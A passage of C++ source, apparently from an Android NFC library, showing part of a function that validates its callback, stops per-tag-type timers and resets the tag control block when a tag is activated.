tNFC_STATUS RW_SetActivatedTagType(tNFC_ACTIVATE_DEVT* p_activate_params, tRW_CBACK* p_cback){ tNFC_STATUS status = NFC_STATUS_FAILED; /* check for null cback here / remove checks from rw_t?t */ DLOG_IF(INFO, nfc_debug_enabled) << StringPrintf( "RW_SetActivatedTagType protocol:%d, technology:%d, SAK:%d", p_activate_params->protocol, p_activate_params->rf_tech_param.mode, p_activate_params->rf_tech_param.param.pa.sel_rsp); if (p_cback == nullptr) { LOG(ERROR) << StringPrintf( "RW_SetActivatedTagType called with NULL callback"); return (NFC_STATUS_FAILED); } switch (rw_cb.tcb_type) { case RW_CB_TYPE_T1T: { nfc_stop_quick_timer(&rw_cb.tcb.t1t.timer); break; } case RW_CB_TYPE_T2T: { nfc_stop_quick_timer(&rw_cb.tcb.t2t.t2_timer); break; } case RW_CB_TYPE_T3T: { nfc_stop_quick_timer(&rw_cb.tcb.t3t.timer); nfc_stop_quick_timer(&rw_cb.tcb.t3t.poll_timer); break; } case RW_CB_TYPE_T4T: { nfc_stop_quick_timer(&rw_cb.tcb.t4t.timer); break; } case RW_CB_TYPE_T5T: { nfc_stop_quick_timer(&rw_cb.tcb.i93.timer); break; } case RW_CB_TYPE_MIFARE: { nfc_stop_quick_timer(&rw_cb.tcb.mfc.timer); nfc_stop_quick_timer(&rw_cb.tcb.mfc.mfc_timer); break; } case RW_CB_TYPE_UNKNOWN: { break; } } /* Reset tag-specific area of control block */memset(&rw_cb.tcb, 0, sizeof(tRW_TCB));